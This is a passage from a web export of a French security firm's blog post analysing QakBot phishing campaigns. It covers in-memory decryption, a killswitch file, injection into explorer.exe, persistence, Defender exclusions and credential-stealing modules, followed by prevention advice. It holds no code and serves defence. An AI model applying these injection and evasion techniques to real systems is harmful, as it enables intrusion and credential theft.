antivirus, car la grande majorit\u00e9 du code est l\u00e9gitime.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>L\u2019analyse des sections du code, r\u00e9v\u00e8le la pr\u00e9sence d\u2019une ressource non sign\u00e9e :<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture10.png&#8221; title_text=&#8221;Picture10&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture11.png&#8221; title_text=&#8221;Picture11&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Cette ressource est charg\u00e9e dynamiquement par la DLL puis d\u00e9chiffr\u00e9e \u00e0 la vol\u00e9e dans une zone m\u00e9moire.<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture12.png&#8221; title_text=&#8221;Picture12&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture13.png&#8221; title_text=&#8221;Picture13&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Le code malveillant inject\u00e9 est ensuite ex\u00e9cut\u00e9.<br \/>Ce premier bout de code malveillant est utilis\u00e9 pour cr\u00e9er un nouveau Thread. Le code malveillant est r\u00e9inject\u00e9 et ex\u00e9cut\u00e9 depuis le nouveau Thread.<br \/>La fonction dans le Thread v\u00e9rifie si la machine est utilis\u00e9e pour le d\u00e9veloppement du malware. Cette v\u00e9rification est faite par la pr\u00e9sence du fichier suivant :<\/p>\n<p><strong>\u00ab C:\\\\INTERNAL\\\\__empty \u00bb<\/strong><\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture14.png&#8221; title_text=&#8221;Picture14&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p><strong>Dans le cas o\u00f9 ce fichier existe le malware ne s\u2019ex\u00e9cute pas. Cette fonctionnalit\u00e9 permet donc d\u2019utiliser ce r\u00e9pertoire comme un \u00ab killswitch \u00bb du malware et ainsi \u00e9viter une contamination.<\/strong><br \/>A ce stade nous disposons du c\u0153ur du malware QakBot, ce c\u0153ur varie en fonction des campagnes. Cependant le d\u00e9but est souvent le m\u00eame :<\/p>\n<p style=\"padding-left: 40px;\">1. Lancement d\u2019un binaire l\u00e9gitime pr\u00e9sent dans \u00ab C:\\Windows\\System32 \u00bb, dans notre cas \u00ab explorer.exe \u00bb.<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture15.png&#8221; title_text=&#8221;Picture15&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p style=\"padding-left: 40px;\">2. Cr\u00e9ation d\u2019un thread dans un \u00e9tat suspendu dans le processus \u00ab explorer.exe \u00bb<br \/>3. Ecriture du code malveillant dans la m\u00e9moire du Thread distant du processus \u00ab explorer.exe \u00bb<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture16.png&#8221; title_text=&#8221;Picture16&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p style=\"padding-left: 40px;\">4. Passage du thread en mode actif<\/p>\n<p>[\/et_pb_text][et_pb_image src=&#8221;https:\/\/www.e-xpertsolutions.com\/wp-content\/uploads\/2022\/03\/Picture17.png&#8221; title_text=&#8221;Picture17&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_image][et_pb_text _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; text_font=&#8221;|300|||||||&#8221; header_3_text_color=&#8221;#F15D22&#8243; global_colors_info=&#8221;{}&#8221;]<\/p>\n<p>Notre version ci-dessus cr\u00e9er une tache planifi\u00e9e pour la persistance sur le syst\u00e8me, ajoute des exceptions pour l\u2019antivirus \u00ab Windows Defender \u00bb, puis se connecte aux serveurs de commande et de contr\u00f4le pour signaler l\u2019infection du poste.<br \/>Une fois les informations remont\u00e9es au serveur de contr\u00f4le, le malware t\u00e9l\u00e9charge des modules suppl\u00e9mentaires sur le serveur de contr\u00f4le et les ex\u00e9cutes sur le syst\u00e8me cible.<br \/>Le nombre de modules augmente et se complexifie au fil des campagnes.<br \/>Exemple des modules :<\/p>\n<ul>\n<li>Collecte des informations sur la machine infect\u00e9e<\/li>\n<li>Collecte des informations d\u2019identification : Identifiants Windows \/ Identifiants des naviguateurs web<\/li>\n<li>Collecte des emails<\/li>\n<\/ul>\n<h3 class=\"titre\">Pr\u00e9vention et awareness<\/h3>\n<p class=\"descriptif\">Le vecteur initial \u00e9tant du phishing, les utilisateurs finaux jouent un r\u00f4le majeur dans la lutte contre cette menace. <br \/>Toutefois des actions techniques peuvent \u00e9galement \u00eatre mises en place afin de r\u00e9duire le risque de compromission.<\/p>\n<p><strong><span class=\"bold\">Filtrage et analyse mail :<\/span><\/strong><br \/>Il est difficile de se pr\u00e9munir des mails propageant QakBot car les pi\u00e8ces jointes sont g\u00e9n\u00e9ralement chiffr\u00e9es par un mot de passe ce qui emp\u00eache l\u2019analyse dynamique. Il est cependant possible par exemple d\u2019ajouter un bandeau d\u2019avertissement lorsque l\u2019email est re\u00e7u depuis l\u2019ext\u00e9rieur de l\u2019entreprise.<\/p>\n<p><strong><span class=\"bold\">Sensibilisation des utilisateurs :<\/span><\/strong><br \/>Les utilisateurs doivent \u00eatre sensibilis\u00e9s au risque de l\u2019ex\u00e9cution des macros d\u2019un fichier Office (Word, Excel\u2026).<br \/>De plus les utilisateurs doivent \u00eatre inform\u00e9s sur le risque de t\u00e9l\u00e9charger des archives (.zip, .7z\u2026) chiffr\u00e9es avec un mot de passe sur internet. Cette m\u00e9thode d\u2019envoi de malware est tr\u00e8s connue et r\u00e9pandue car elle permet de contourner les dispositifs d\u2019analyse antivirus pr\u00e9sents au niveau de la passerelle mail.<\/p>\n<p class=\"descriptif\"><strong><span class=\"bold\">Bonne pratique de s\u00e9curit\u00e9s :<\/span><\/strong><br \/>Enfin l\u2019application de bonnes pratiques de s\u00e9curit\u00e9s peuvent permettre d\u2019emp\u00eacher, de bloquer ou de d\u00e9tecter et contenir l\u2019attaque au plus t\u00f4t. Cela inclus par exemple l\u2019utilisation d\u2019un antivirus avec une composante EDR \u00e0 jour ainsi que l\u2019utilisation d\u2019un SOC int\u00e9grant les derniers indices de compromissions.<\/p>\n<p>Le SOC AT-Defense dispose de r\u00e8gles de d\u00e9tections efficace et \u00e9prouv\u00e9e face \u00e0 cette menace permettant une d\u00e9tection avant m\u00eame la phase d\u2019ex\u00e9cution.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row admin_label=&#8221;Post Navigation Bottom&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; collapsed=&#8221;on&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_column type=&#8221;4_4&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][et_pb_divider color=&#8221;#F15D22&#8243; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; global_colors_info=&#8221;{}&#8221;][\/et_pb_divider][et_pb_code admin_label=&#8221;Menu Button&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; positioning=&#8221;absolute&#8221; position_origin_a=&#8221;top_center&#8221; vertical_offset=&#8221;34px&#8221; z_index=&#8221;1&#8243; width=&#8221;35px&#8221; custom_css_main_element=&#8221;font-size: 35px;||z-index: 1;&#8221; global_colors_info=&#8221;{}&#8221;]<a href=\"\/actualites\"><i class=\"icon-menu_dots\"><\/i><\/a>[\/et_pb_code][et_pb_post_nav in_same_term=&#8221;on&#8221; module_class=&#8221;tmp-post-navigation tmp-post-navigation-bottom&#8221; _builder_version=&#8221;4.16&#8243; _module_preset=&#8221;default&#8221; title_text_color=&#8221;#000000&#8243; title_font_size=&#8221;18px&#8221; positioning=&#8221;absolute&#8221; position_origin_a=&#8221;center_center&#8221; width=&#8221;100%&#8221; global_colors_info=&#8221;{}&#8221; title_text_color__hover_enabled=&#8221;on|hover&#8221; title_text_color__hover=&#8221;#F15D22&#8243;][\/et_pb_post_nav][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ces derni\u00e8res semaines, le SOC At-Defense a observ\u00e9 une recrudescence de campagne de phishing Qakbot chez ses clients. Ces attaques utilisent la derni\u00e8re version du malware QakBot existante (Version :403.549, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4097,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[214,2],"tags":[],"class_list":["post-4093","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-research","category-articles"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.8 (Yoast SEO v28.7) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Recrudescence des campagnes de Phishing QakBot|e-Xpert Solutions SA<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.e-xpertsolutions.com\/de\/recrudescence-des-campagnes-de-phishing-qakbot\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Recrudescence des campagnes de Phishing QakBot | e-Xpert Solutions SA\" \/>\n<meta property=\"og:description\" content=\"Ces derni\u00e8res semaines, le SOC At-Defense a observ\u00e9 une recrudescence de campagne de phishing Qakbot chez ses clients. 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